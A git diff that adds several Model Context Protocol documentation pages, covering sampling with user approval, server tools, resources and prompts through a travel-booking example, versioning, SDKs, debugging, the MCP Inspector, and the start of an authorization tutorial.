+ Note over Client,LLM: Model interaction
+ Client->>LLM: Forward approved request
+ LLM-->>Client: Return generation
+
+ Note over Client,User: Response review
+ Client->>User: Present response for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Server,Client: Complete request
+ Client-->>Server: Return approved response
+```
+
+The flow ensures security through multiple human-in-the-loop checkpoints. Users review and can modify both the initial request and the generated response before it returns to the server.
+
+**Request parameters example:**
+
+```typescript theme={null}
+{
+ messages: [
+ {
+ role: "user",
+ content: "Analyze these flight options and recommend the best choice:\n" +
+ "[47 flights with prices, times, airlines, and layovers]\n" +
+ "User preferences: morning departure, max 1 layover"
+ }
+ ],
+ modelPreferences: {
+ hints: [{
+ name: "claude-sonnet-4-20250514" // Suggested model
+ }],
+ costPriority: 0.3, // Less concerned about API cost
+ speedPriority: 0.2, // Can wait for thorough analysis
+ intelligencePriority: 0.9 // Need complex trade-off evaluation
+ },
+ systemPrompt: "You are a travel expert helping users find the best flights based on their preferences",
+ maxTokens: 1500
+}
+```
+
+#### Example: Flight Analysis Tool
+
+Consider a travel booking server with a tool called `findBestFlight` that uses sampling to analyze available flights and recommend the optimal choice. When a user asks "Book me the best flight to Barcelona next month," the tool needs AI assistance to evaluate complex trade-offs.
+
+The tool queries airline APIs and gathers 47 flight options. It then requests AI assistance to analyze these options: "Analyze these flight options and recommend the best choice: \[47 flights with prices, times, airlines, and layovers] User preferences: morning departure, max 1 layover."
+
+The client initiates the sampling request, allowing the AI to evaluate trade-offs—like cheaper red-eye flights versus convenient morning departures. The tool uses this analysis to present the top three recommendations.
+
+#### User Interaction Model
+
+While not a requirement, sampling is designed to allow human-in-the-loop control. Users can maintain oversight through several mechanisms:
+
+**Approval controls**: Sampling requests may require explicit user consent. Clients can show what the server wants to analyze and why. Users can approve, deny, or modify requests.
+
+**Transparency features**: Clients can display the exact prompt, model selection, and token limits, allowing users to review AI responses before they return to the server.
+
+**Configuration options**: Users can set model preferences, configure auto-approval for trusted operations, or require approval for everything. Clients may provide options to redact sensitive information.
+
+**Security considerations**: Both clients and servers must handle sensitive data appropriately during sampling. Clients should implement rate limiting and validate all message content. The human-in-the-loop design ensures that server-initiated AI interactions cannot compromise security or access sensitive data without explicit user consent.
diff --git a/content/mcp/docs/2024-11-05/learn/server-concepts.md b/content/mcp/docs/2024-11-05/learn/server-concepts.md
new file mode 100644
index 000000000..f38084cbc
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/learn/server-concepts.md
@@ -0,0 +1,285 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding MCP servers
+
+MCP servers are programs that expose specific capabilities to AI applications through standardized protocol interfaces.
+
+Common examples include file system servers for document access, database servers for data queries, GitHub servers for code management, Slack servers for team communication, and calendar servers for scheduling.
+
+## Core Server Features
+
+Servers provide functionality through three building blocks:
+
+| Feature | Explanation | Examples | Who controls it |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ | --------------- |
+| **Tools** | Functions that your LLM can actively call, and decides when to use them based on user requests. Tools can write to databases, call external APIs, modify files, or trigger other logic. | Search flights Send messages Create calendar events | Model |
+| **Resources** | Passive data sources that provide read-only access to information for context, such as file contents, database schemas, or API documentation. | Retrieve documents Access knowledge bases Read calendars | Application |
+| **Prompts** | Pre-built instruction templates that tell the model to work with specific tools and resources. | Plan a vacation Summarize my meetings Draft an email | User |
+
+We will use a hypothetical scenario to demonstrate the role of each of these features, and show how they can work together.
+
+### Tools
+
+Tools enable AI models to perform actions. Each tool defines a specific operation with typed inputs and outputs. The model requests tool execution based on context.
+
+#### How Tools Work
+
+Tools are schema-defined interfaces that LLMs can invoke. MCP uses JSON Schema for validation. Each tool performs a single operation with clearly defined inputs and outputs. Tools may require user consent prior to execution, helping to ensure users maintain control over actions taken by a model.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| ------------ | ------------------------ | -------------------------------------- |
+| `tools/list` | Discover available tools | Array of tool definitions with schemas |
+| `tools/call` | Execute a specific tool | Tool execution result |
+
+**Example tool definition:**
+
+```typescript theme={null}
+{
+ name: "searchFlights",
+ description: "Search for available flights",
+ inputSchema: {
+ type: "object",
+ properties: {
+ origin: { type: "string", description: "Departure city" },
+ destination: { type: "string", description: "Arrival city" },
+ date: { type: "string", format: "date", description: "Travel date" }
+ },
+ required: ["origin", "destination", "date"]
+ }
+}
+```
+
+#### Example: Travel Booking
+
+Tools enable AI applications to perform actions on behalf of users. In a travel planning scenario, the AI application might use several tools to help book a vacation:
+
+**Flight Search**
+
+```
+searchFlights(origin: "NYC", destination: "Barcelona", date: "2024-06-15")
+```
+
+Queries multiple airlines and returns structured flight options.
+
+**Calendar Blocking**
+
+```
+createCalendarEvent(title: "Barcelona Trip", startDate: "2024-06-15", endDate: "2024-06-22")
+```
+
+Marks the travel dates in the user's calendar.
+
+**Email notification**
+
+```
+sendEmail(to: "team@work.com", subject: "Out of Office", body: "...")
+```
+
+Sends an automated out-of-office message to colleagues.
+
+#### User Interaction Model
+
+Tools are model-controlled, meaning AI models can discover and invoke them automatically. However, MCP emphasizes human oversight through several mechanisms.
+
+For trust and safety, applications can implement user control through various mechanisms, such as:
+
+* Displaying available tools in the UI, enabling users to define whether a tool should be made available in specific interactions
+* Approval dialogs for individual tool executions
+* Permission settings for pre-approving certain safe operations
+* Activity logs that show all tool executions with their results
+
+### Resources
+
+Resources provide structured access to information that the AI application can retrieve and provide to models as context.
+
+#### How Resources Work
+
+Resources expose data from files, APIs, databases, or any other source that an AI needs to understand context. Applications can access this information directly and decide how to use it - whether that's selecting relevant portions, searching with embeddings, or passing it all to the model.
+
+Each resource has a unique URI (e.g., `file:///path/to/document.md`) and declares its MIME type for appropriate content handling.
+
+Resources support two discovery patterns:
+
+* **Direct Resources** - fixed URIs that point to specific data. Example: `calendar://events/2024` - returns calendar availability for 2024
+* **Resource Templates** - dynamic URIs with parameters for flexible queries. Example:
+ * `travel://activities/{city}/{category}` - returns activities by city and category
+ * `travel://activities/barcelona/museums` - returns all museums in Barcelona
+
+Resource Templates include metadata such as title, description, and expected MIME type, making them discoverable and self-documenting.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| -------------------------- | ------------------------------- | -------------------------------------- |
+| `resources/list` | List available direct resources | Array of resource descriptors |
+| `resources/templates/list` | Discover resource templates | Array of resource template definitions |
+| `resources/read` | Retrieve resource contents | Resource data with metadata |
+| `resources/subscribe` | Monitor resource changes | Subscription confirmation |
+
+#### Example: Getting Travel Planning Context
+
+Continuing with the travel planning example, resources provide the AI application with access to relevant information:
+
+* **Calendar data** (`calendar://events/2024`) - Checks user availability
+* **Travel documents** (`file:///Documents/Travel/passport.pdf`) - Accesses important documents
+* **Previous itineraries** (`trips://history/barcelona-2023`) - References past trips and preferences
+
+The AI application retrieves these resources and decides how to process them, whether selecting a subset of data using embeddings or keyword search, or passing raw data directly to the model.
+
+In this case, it provides calendar data, weather information, and travel preferences to the model, enabling it to check availability, look up weather patterns, and reference past travel preferences.
+
+**Resource Template Examples:**
+
+```json theme={null}
+{
+ "uriTemplate": "weather://forecast/{city}/{date}",
+ "name": "weather-forecast",
+ "title": "Weather Forecast",
+ "description": "Get weather forecast for any city and date",
+ "mimeType": "application/json"
+}
+
+{
+ "uriTemplate": "travel://flights/{origin}/{destination}",
+ "name": "flight-search",
+ "title": "Flight Search",
+ "description": "Search available flights between cities",
+ "mimeType": "application/json"
+}
+```
+
+These templates enable flexible queries. For weather data, users can access forecasts for any city/date combination. For flights, they can search routes between any two airports. When a user has input "NYC" as the `origin` airport and begins to input "Bar" as the `destination` airport, the system can suggest "Barcelona (BCN)" or "Barbados (BGI)".
+
+#### Parameter Completion
+
+Dynamic resources support parameter completion. For example:
+
+* Typing "Par" as input for `weather://forecast/{city}` might suggest "Paris" or "Park City"
+* Typing "JFK" for `flights://search/{airport}` might suggest "JFK - John F. Kennedy International"
+
+The system helps discover valid values without requiring exact format knowledge.
+
+#### User Interaction Model
+
+Resources are application-driven, giving them flexibility in how they retrieve, process, and present available context. Common interaction patterns include:
+
+* Tree or list views for browsing resources in familiar folder-like structures
+* Search and filter interfaces for finding specific resources
+* Automatic context inclusion or smart suggestions based on heuristics or AI selection
+* Manual or bulk selection interfaces for including single or multiple resources
+
+Applications are free to implement resource discovery through any interface pattern that suits their needs. The protocol doesn't mandate specific UI patterns, allowing for resource pickers with preview capabilities, smart suggestions based on current conversation context, bulk selection for including multiple resources, or integration with existing file browsers and data explorers.
+
+### Prompts
+
+Prompts provide reusable templates. They allow MCP server authors to provide parameterized prompts for a domain, or showcase how to best use the MCP server.
+
+#### How Prompts Work
+
+Prompts are structured templates that define expected inputs and interaction patterns. They are user-controlled, requiring explicit invocation rather than automatic triggering. Prompts can be context-aware, referencing available resources and tools to create comprehensive workflows. Similar to resources, prompts support parameter completion to help users discover valid argument values.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| -------------- | -------------------------- | ------------------------------------- |
+| `prompts/list` | Discover available prompts | Array of prompt descriptors |
+| `prompts/get` | Retrieve prompt details | Full prompt definition with arguments |
+
+#### Example: Streamlined Workflows
+
+Prompts provide structured templates for common tasks. In the travel planning context:
+
+**"Plan a vacation" prompt:**
+
+```json theme={null}
+{
+ "name": "plan-vacation",
+ "title": "Plan a vacation",
+ "description": "Guide through vacation planning process",
+ "arguments": [
+ { "name": "destination", "type": "string", "required": true },
+ { "name": "duration", "type": "number", "description": "days" },
+ { "name": "budget", "type": "number", "required": false },
+ { "name": "interests", "type": "array", "items": { "type": "string" } }
+ ]
+}
+```
+
+Rather than unstructured natural language input, the prompt system enables:
+
+1. Selection of the "Plan a vacation" template
+2. Structured input: Barcelona, 7 days, \$3000, \["beaches", "architecture", "food"]
+3. Consistent workflow execution based on the template
+
+#### User Interaction Model
+
+Prompts are user-controlled, requiring explicit invocation. The protocol gives implementers freedom to design interfaces that feel natural within their application. Key principles include:
+
+* Easy discovery of available prompts
+* Clear descriptions of what each prompt does
+* Natural argument input with validation
+* Transparent display of the prompt's underlying template
+
+Applications typically expose prompts through various UI patterns such as:
+
+* Slash commands (typing "/" to see available prompts like /plan-vacation)
+* Command palettes for searchable access
+* Dedicated UI buttons for frequently used prompts
+* Context menus that suggest relevant prompts
+
+## Bringing Servers Together
+
+The real power of MCP emerges when multiple servers work together, combining their specialized capabilities through a unified interface.
+
+### Example: Multi-Server Travel Planning
+
+Consider a personalized AI travel planner application, with three connected servers:
+
+* **Travel Server** - Handles flights, hotels, and itineraries
+* **Weather Server** - Provides climate data and forecasts
+* **Calendar/Email Server** - Manages schedules and communications
+
+#### The Complete Flow
+
+1. **User invokes a prompt with parameters:**
+
+ ```json theme={null}
+ {
+ "prompt": "plan-vacation",
+ "arguments": {
+ "destination": "Barcelona",
+ "departure_date": "2024-06-15",
+ "return_date": "2024-06-22",
+ "budget": 3000,
+ "travelers": 2
+ }
+ }
+ ```
+
+2. **User selects resources to include:**
+ * `calendar://my-calendar/June-2024` (from Calendar Server)
+ * `travel://preferences/europe` (from Travel Server)
+ * `travel://past-trips/Spain-2023` (from Travel Server)
+
+3. **AI processes the request using tools:**
+
+ The AI first reads all selected resources to gather context - identifying available dates from the calendar, learning preferred airlines and hotel types from travel preferences, and discovering previously enjoyed locations from past trips.
+
+ Using this context, the AI then executes the prompt provided by the AI application. In our example, the AI application exposes the weather tools from the connected MCP weather server to the model. Because weather can affect travel plans, the AI chooses to call `checkWeather()` when interpreting the prompt.
+
+ As a result the AI executes a series of tools:
+
+ * `searchFlights()` - Queries airlines for NYC to Barcelona flights
+ * `checkWeather()` - Retrieves climate forecasts for travel dates
+
+ The AI then uses this information to create the booking and following steps, requesting approval from the user where necessary:
+
+ * `bookHotel()` - Finds hotels within the specified budget
+ * `createCalendarEvent()` - Adds the trip to the user's calendar
+ * `sendEmail()` - Sends confirmation with trip details
+
+**The result:** Through multiple MCP servers, the user researched and booked a Barcelona trip tailored to their schedule. The "Plan a Vacation" prompt guided the AI to combine Resources (calendar availability and travel history) with Tools (searching flights, booking hotels, updating calendars) across different servers—gathering context and executing the booking. A task that could have taken hours was completed in minutes using MCP.
diff --git a/content/mcp/docs/2024-11-05/learn/versioning.md b/content/mcp/docs/2024-11-05/learn/versioning.md
new file mode 100644
index 000000000..bf0d150c1
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/learn/versioning.md
@@ -0,0 +1,49 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Versioning
+
+The Model Context Protocol uses string-based version identifiers following the format
+`YYYY-MM-DD`, to indicate the last date backwards incompatible changes were made.
+
+
+ The protocol version will *not* be incremented when the
+ protocol is updated, as long as the changes maintain backwards compatibility. This allows
+ for incremental improvements while preserving interoperability.
+
+
+## Revisions
+
+Revisions may be marked as:
+
+* **Draft**: in-progress specifications, not yet ready for consumption.
+* **Current**: the current protocol version, which is ready for use and may continue to
+ receive backwards compatible changes.
+* **Final**: past, complete specifications that will not be changed.
+
+The **current** protocol version is [**2025-11-25**](/specification/2025-11-25/).
+
+## Feature States
+
+Individual features of the specification may additionally be marked as
+**Deprecated** under the
+[feature lifecycle and deprecation policy](/community/feature-lifecycle):
+the feature remains part of the specification, but is scheduled for removal.
+Deprecated features document a migration path (or state that none is required)
+and remain in the specification for at least twelve months, or at least
+ninety days under the policy's
+[expedited-removal exception](/community/feature-lifecycle#expedited-removal),
+before they become eligible for removal, after which they may be **Removed**
+in a future revision.
+
+## Negotiation
+
+Version negotiation happens during
+[initialization](/specification/2024-11-05/basic/lifecycle#initialization). Clients and
+servers **MAY** support multiple protocol versions simultaneously, but they **MUST**
+agree on a single version to use for the session.
+
+The protocol provides appropriate error handling if version negotiation fails, allowing
+clients to gracefully terminate connections when they cannot find a version compatible
+with the server.
diff --git a/content/mcp/docs/2024-11-05/sdk.md b/content/mcp/docs/2024-11-05/sdk.md
new file mode 100644
index 000000000..3177d66d0
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/sdk.md
@@ -0,0 +1,51 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# SDKs
+
+> Official SDKs for building with Model Context Protocol
+
+Build MCP servers and clients using our official SDKs. SDKs are classified into tiers based on feature completeness, protocol support, and maintenance commitment. Learn more about [SDK tiers](/community/sdk-tiers).
+
+## Available SDKs
+
+| SDK | Repository | Tier |
+| :----------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------- | ------------------------------------------------: |
+| [TypeScript](https://ts.sdk.modelcontextprotocol.io) | [modelcontextprotocol/typescript-sdk](https://github.com/modelcontextprotocol/typescript-sdk) | Tier 1 |
+| [Python](https://py.sdk.modelcontextprotocol.io) | [modelcontextprotocol/python-sdk](https://github.com/modelcontextprotocol/python-sdk) | Tier 1 |
+| [C#](https://csharp.sdk.modelcontextprotocol.io) | [modelcontextprotocol/csharp-sdk](https://github.com/modelcontextprotocol/csharp-sdk) | Tier 1 |
+| [Go](https://go.sdk.modelcontextprotocol.io) | [modelcontextprotocol/go-sdk](https://github.com/modelcontextprotocol/go-sdk) | Tier 1 |
+| [Java](https://java.sdk.modelcontextprotocol.io) | [modelcontextprotocol/java-sdk](https://github.com/modelcontextprotocol/java-sdk) | Tier 2 |
+| [Rust](https://rust.sdk.modelcontextprotocol.io) | [modelcontextprotocol/rust-sdk](https://github.com/modelcontextprotocol/rust-sdk) | Tier 2 |
+| Swift | [modelcontextprotocol/swift-sdk](https://github.com/modelcontextprotocol/swift-sdk) | Tier 3 |
+| [Ruby](https://ruby.sdk.modelcontextprotocol.io) | [modelcontextprotocol/ruby-sdk](https://github.com/modelcontextprotocol/ruby-sdk) | Tier 3 |
+| [PHP](https://php.sdk.modelcontextprotocol.io) | [modelcontextprotocol/php-sdk](https://github.com/modelcontextprotocol/php-sdk) | Tier 3 |
+| [Kotlin](https://kotlin.sdk.modelcontextprotocol.io) | [modelcontextprotocol/kotlin-sdk](https://github.com/modelcontextprotocol/kotlin-sdk) | Tier 3 |
+
+See [SDK Tiering System](/community/sdk-tiers) for details on what each tier means.
+
+## Getting Started
+
+Each SDK provides the same functionality but follows the idioms and best practices of its language. All SDKs support:
+
+* Creating MCP servers that expose tools, resources, and prompts
+* Building MCP clients that can connect to any MCP server
+* Local and remote transport protocols
+* Protocol compliance with type safety
+
+Visit the SDK page for your chosen language to find installation instructions, documentation, and examples.
+
+## Next Steps
+
+Ready to start building with MCP? Choose your path:
+
+
+
+ Learn how to create your first MCP server
+
+
+
+ Create applications that connect to MCP servers
+
+
diff --git a/content/mcp/docs/2024-11-05/tools/debugging.md b/content/mcp/docs/2024-11-05/tools/debugging.md
new file mode 100644
index 000000000..f6cda70ce
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/tools/debugging.md
@@ -0,0 +1,349 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Debugging
+
+> A comprehensive guide to debugging Model Context Protocol (MCP) integrations
+
+Effective debugging is essential when developing MCP servers or integrating
+them with applications. This guide covers the debugging tools and approaches
+available in the MCP ecosystem.
+
+## Debugging tools overview
+
+MCP provides several tools for debugging at different levels:
+
+1. **[MCP Inspector](/docs/2024-11-05/tools/inspector)**: interactive, transport-agnostic
+ testing UI. Connect to stdio or HTTP with SSE servers, invoke
+ [tools](/specification/2024-11-05/server/tools),
+ [prompts](/specification/2024-11-05/server/prompts), and
+ [resources](/specification/2024-11-05/server/resources), and watch the
+ notification stream. This should be your first stop.
+2. **Server logging**: structured logs to stderr (stdio transport) or via
+ [`notifications/message`](/specification/2024-11-05/server/utilities/logging#log-message-notifications)
+ (all transports).
+3. **Client developer tools**: most MCP clients expose logs and connection
+ state. See [Debugging in Claude Desktop](#debugging-in-claude-desktop)
+ below for one example, or consult your client's documentation.
+
+## Implementing logging
+
+### Server-side logging
+
+When building a server that uses the local
+[stdio transport](/specification/2024-11-05/basic/transports#stdio), all messages
+logged to stderr (standard error) will be captured by the host application
+automatically.
+
+
+ Local MCP servers should not log messages to stdout (standard out), as this
+ will interfere with protocol operation.
+
+
+For servers using the
+[HTTP with SSE transport](/specification/2024-11-05/basic/transports#http-with-sse),
+stderr is not captured by the client. Use the log message notifications below,
+your own server-side log aggregation, or standard HTTP tooling (curl, browser
+DevTools Network panel) to inspect requests and SSE streams.
+
+For all [transports](/specification/2024-11-05/basic/transports), you can also
+provide logging to the client by sending a log message notification:
+
+
+ ```python Python theme={null}
+ @server.tool()
+ async def my_tool(ctx: Context) -> str:
+ await ctx.session.send_log_message(
+ level="info",
+ data="Server started successfully",
+ )
+ return "done"
+ ```
+
+ ```typescript TypeScript theme={null}
+ await server.sendLoggingMessage({
+ level: "info",
+ data: "Server started successfully",
+ });
+ ```
+
+
+MCP defines eight
+[RFC 5424 severity levels](/specification/2024-11-05/server/utilities/logging#log-levels)
+(`debug` through `emergency`). Clients can adjust the minimum level at runtime
+via the
+[`logging/setLevel`](/specification/2024-11-05/server/utilities/logging#setting-log-level)
+request.
+
+Important events to log:
+
+* Initialization steps
+* Resource access
+* Tool execution
+* Error conditions
+* Performance metrics
+
+## Common issues
+
+The examples below use Claude Desktop's
+[`claude_desktop_config.json`](/docs/2024-11-05/develop/connect-local-servers); the same
+principles apply to any stdio-based MCP client.
+
+### Working directory
+
+When an MCP client launches a stdio server:
+
+* The working directory for servers launched via the client's config may be
+ undefined (like `/` on macOS) since the client could be started from
+ anywhere
+* Always use absolute paths in your configuration and `.env` files to ensure
+ reliable operation
+* For testing servers directly via command line, the working directory will be
+ where you run the command
+
+For example in `claude_desktop_config.json`, use:
+
+```json theme={null}
+{
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "/Users/username/data"
+ ]
+ }
+ }
+}
+```
+
+Instead of relative paths like `./data`
+
+### Environment variables
+
+MCP servers launched over stdio inherit only a limited subset of environment
+variables automatically (the exact set is platform-dependent).
+
+To override the default variables or provide your own, you can specify an
+`env` key in `claude_desktop_config.json`:
+
+```json theme={null}
+{
+ "mcpServers": {
+ "myserver": {
+ "command": "mcp-server-myapp",
+ "env": {
+ "MYAPP_API_KEY": "some_key"
+ }
+ }
+ }
+}
+```
+
+### Server initialization
+
+Common initialization problems:
+
+1. **Path Issues**
+ * Incorrect server executable path
+ * Missing required files
+ * Permission problems
+ * Try using an absolute path for `command`
+
+2. **Configuration Errors**
+ * Invalid JSON syntax
+ * Missing required fields
+ * Type mismatches
+
+3. **Environment Problems**
+ * Missing environment variables
+ * Incorrect variable values
+ * Permission restrictions
+
+### Connection problems
+
+When servers fail to connect:
+
+1. Check client logs
+2. Verify server process is running
+3. Test standalone with [Inspector](/docs/2024-11-05/tools/inspector)
+4. Verify
+ [protocol compatibility](/specification/2024-11-05/basic/lifecycle#version-negotiation)
+5. Check
+ [capability negotiation](/specification/2024-11-05/basic/lifecycle#capability-negotiation):
+ error [`-32602`](/specification/2024-11-05/basic/lifecycle#error-handling) is
+ the standard JSON-RPC "Invalid params" code and is returned in many
+ contexts. One common cause is a server sending
+ [sampling](/specification/2024-11-05/client/sampling) requests to a
+ client that hasn't declared that capability. Inspect the
+ [`initialize` exchange](/specification/2024-11-05/basic/lifecycle#initialization)
+ to verify both sides declared what you expect
+
+## Debugging in Claude Desktop
+
+Claude Desktop is one of many MCP clients. It is available on
+macOS and Windows.
+
+### Checking server status
+
+Click the "Add files, connectors, and more" plus icon in the chat input, then
+hover over the **Connectors** menu to see connected servers and available
+tools.
+
+
+
+### Viewing logs
+
+Log files are written to:
+
+* macOS: `~/Library/Logs/Claude`
+* Windows: `%APPDATA%\Claude\logs`
+
+
+ ```bash macOS theme={null}
+ tail -n 20 -F ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ ```powershell Windows theme={null}
+ type "$env:AppData\Claude\logs\mcp*.log"
+ ```
+
+
+The logs capture:
+
+* Server connection events
+* Configuration issues
+* Runtime errors
+* Message exchanges
+
+### Using Chrome DevTools
+
+Access Chrome's developer tools inside Claude Desktop to investigate
+client-side errors:
+
+1. Create a `developer_settings.json` file with `allowDevTools` set to true:
+
+
+ ```bash macOS theme={null}
+ echo '{"allowDevTools": true}' > ~/Library/Application\ Support/Claude/developer_settings.json
+ ```
+
+ ```powershell Windows theme={null}
+ '{"allowDevTools": true}' | Set-Content "$env:AppData\Claude\developer_settings.json"
+ ```
+
+
+2. Open DevTools: `Command-Option-I` (macOS) or `Ctrl+Alt+I` (Windows)
+
+Note: You'll see two DevTools windows:
+
+* Main content window
+* App title bar window
+
+Use the Console panel to inspect client-side errors.
+
+Use the Network panel to inspect:
+
+* Message payloads
+* Connection timing
+
+## Debugging workflow
+
+### Development cycle
+
+1. Initial Development
+ * Use [Inspector](/docs/2024-11-05/tools/inspector) for basic testing
+ * Implement core functionality
+ * Add logging points
+
+2. Integration Testing
+ * Test in your target MCP client
+ * Monitor logs
+ * Check error handling
+
+### Testing changes
+
+To test changes efficiently:
+
+* **Configuration changes**: Restart the MCP client
+* **Server code changes**: Restart the client (for Claude Desktop, fully quit
+ and reopen; closing the window is not enough)
+* **Quick iteration**: Use [Inspector](/docs/2024-11-05/tools/inspector) during
+ development
+
+## Best practices
+
+### Logging strategy
+
+1. **Structured Logging**
+ * Use consistent formats
+ * Include context
+ * Add timestamps
+ * Track request IDs
+
+2. **Error Handling**
+ * Log stack traces
+ * Include error context
+ * Track error patterns
+ * Monitor recovery
+
+3. **Performance Tracking**
+ * Log operation timing
+ * Monitor resource usage
+ * Track message sizes
+ * Measure latency
+
+### Security considerations
+
+When debugging:
+
+1. **Sensitive Data**
+ * Sanitize logs
+ * Protect credentials
+ * Mask personal information
+
+2. **Access Control**
+ * Verify permissions
+ * Check authentication
+ * Monitor access patterns
+
+For a full treatment of MCP attack vectors and mitigations, see
+[Security Best Practices](/docs/2024-11-05/tutorials/security/security_best_practices).
+
+## Getting help
+
+When encountering issues:
+
+1. **First Steps**
+ * Check server logs
+ * Test with [Inspector](/docs/2024-11-05/tools/inspector)
+ * Review configuration
+ * Verify environment
+
+2. **Support Channels**
+ * [GitHub issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues)
+ * [GitHub discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions)
+
+3. **Providing Information**
+ * Log excerpts
+ * Configuration files
+ * Steps to reproduce
+ * Environment details
+
+## Next steps
+
+
+
+ Learn to use the MCP Inspector
+
+
+
+ Walk through building a server from scratch
+
+
+
+ Full claude\_desktop\_config.json reference and troubleshooting
+
+
diff --git a/content/mcp/docs/2024-11-05/tools/inspector.md b/content/mcp/docs/2024-11-05/tools/inspector.md
new file mode 100644
index 000000000..2935b0821
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/tools/inspector.md
@@ -0,0 +1,144 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# MCP Inspector
+
+> In-depth guide to using the MCP Inspector for testing and debugging Model Context Protocol servers
+
+The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is an interactive developer tool for testing and debugging MCP servers. While the [Debugging Guide](/docs/2024-11-05/tools/debugging) covers the Inspector as part of the overall debugging toolkit, this document provides a detailed exploration of the Inspector's features and capabilities.
+
+## Getting started
+
+### Installation and basic usage
+
+The Inspector runs directly through `npx` without requiring installation:
+
+```bash theme={null}
+npx @modelcontextprotocol/inspector
+```
+
+```bash theme={null}
+npx @modelcontextprotocol/inspector
+```
+
+#### Inspecting servers from npm or PyPI
+
+A common way to start server packages from [npm](https://npmjs.com) or [PyPI](https://pypi.org).
+
+
+
+ ```bash theme={null}
+ npx -y @modelcontextprotocol/inspector npx
+ # For example
+ npx -y @modelcontextprotocol/inspector npx @modelcontextprotocol/server-filesystem /Users/username/Desktop
+ ```
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector uvx
+ # For example
+ npx @modelcontextprotocol/inspector uvx mcp-server-git --repository ~/code/mcp/servers.git
+ ```
+
+
+
+#### Inspecting locally developed servers
+
+To inspect servers locally developed or downloaded as a repository, the most common
+way is:
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector node path/to/server/index.js args...
+ ```
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector \
+ uv \
+ --directory path/to/server \
+ run \
+ package-name \
+ args...
+ ```
+
+
+
+Please carefully read any attached README for the most accurate instructions.
+
+## Feature overview
+
+
+
+
+
+The Inspector provides several features for interacting with your MCP server:
+
+### Server connection pane
+
+* Allows selecting the [transport](/specification/2024-11-05/basic/transports) for connecting to the server
+* For local servers, supports customizing the command-line arguments and environment
+
+### Resources tab
+
+* Lists all available resources
+* Shows resource metadata (MIME types, descriptions)
+* Allows resource content inspection
+* Supports subscription testing
+
+### Prompts tab
+
+* Displays available prompt templates
+* Shows prompt arguments and descriptions
+* Enables prompt testing with custom arguments
+* Previews generated messages
+
+### Tools tab
+
+* Lists available tools
+* Shows tool schemas and descriptions
+* Enables tool testing with custom inputs
+* Displays tool execution results
+
+### Notifications pane
+
+* Presents all logs recorded from the server
+* Shows notifications received from the server
+
+## Best practices
+
+### Development workflow
+
+1. Start Development
+ * Launch Inspector with your server
+ * Verify basic connectivity
+ * Check capability negotiation
+
+2. Iterative testing
+ * Make server changes
+ * Rebuild the server
+ * Reconnect the Inspector
+ * Test affected features
+ * Monitor messages
+
+3. Test edge cases
+ * Invalid inputs
+ * Missing prompt arguments
+ * Concurrent operations
+ * Verify error handling and error responses
+
+## Next steps
+
+
+
+ Check out the MCP Inspector source code
+
+
+
+ Learn about broader debugging strategies
+
+
diff --git a/content/mcp/docs/2024-11-05/tutorials/security/authorization.md b/content/mcp/docs/2024-11-05/tutorials/security/authorization.md
new file mode 100644
index 000000000..c1e527644
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/tutorials/security/authorization.md
@@ -0,0 +1,1061 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding Authorization in MCP
+
+> Learn how to implement secure authorization for MCP servers using OAuth 2.1 to protect sensitive resources and operations
+
+Authorization in the Model Context Protocol (MCP) secures access to sensitive resources and operations exposed by MCP servers. If your MCP server handles user data or administrative actions, authorization ensures only permitted users can access its endpoints.
+
+MCP uses standardized authorization flows to build trust between MCP clients and MCP servers. Its design doesn't focus on one specific authorization or identity system, but rather follows the conventions outlined for [OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13). For detailed information, see the [Authorization specification](/specification/2025-03-26/basic/authorization).
+
+## When Should You Use Authorization?
+
+While authorization for MCP servers is **optional**, it is strongly recommended when:
+
+* Your server accesses user-specific data (emails, documents, databases)
+* You need to audit who performed which actions
+* Your server grants access to its APIs that require user consent
+* You're building for enterprise environments with strict access controls
+* You want to implement rate limiting or usage tracking per user
+
+
+ **Authorization for Local MCP Servers**
+
+ For MCP servers using the [STDIO transport](/specification/2024-11-05/basic/transports#stdio), you can use environment-based credentials or credentials provided by third-party libraries embedded directly in the MCP server instead. Because a STDIO-built MCP server runs locally, it has access to a range of flexible options when it comes to acquiring user credentials that may or may not rely on in-browser authentication and authorization flows.
+
+ OAuth flows, in turn, are designed for HTTP-based transports where the MCP server is remotely-hosted and the client uses OAuth to establish that a user is authorized to access said remote server.
+
+
+## The Authorization Flow: Step by Step
+
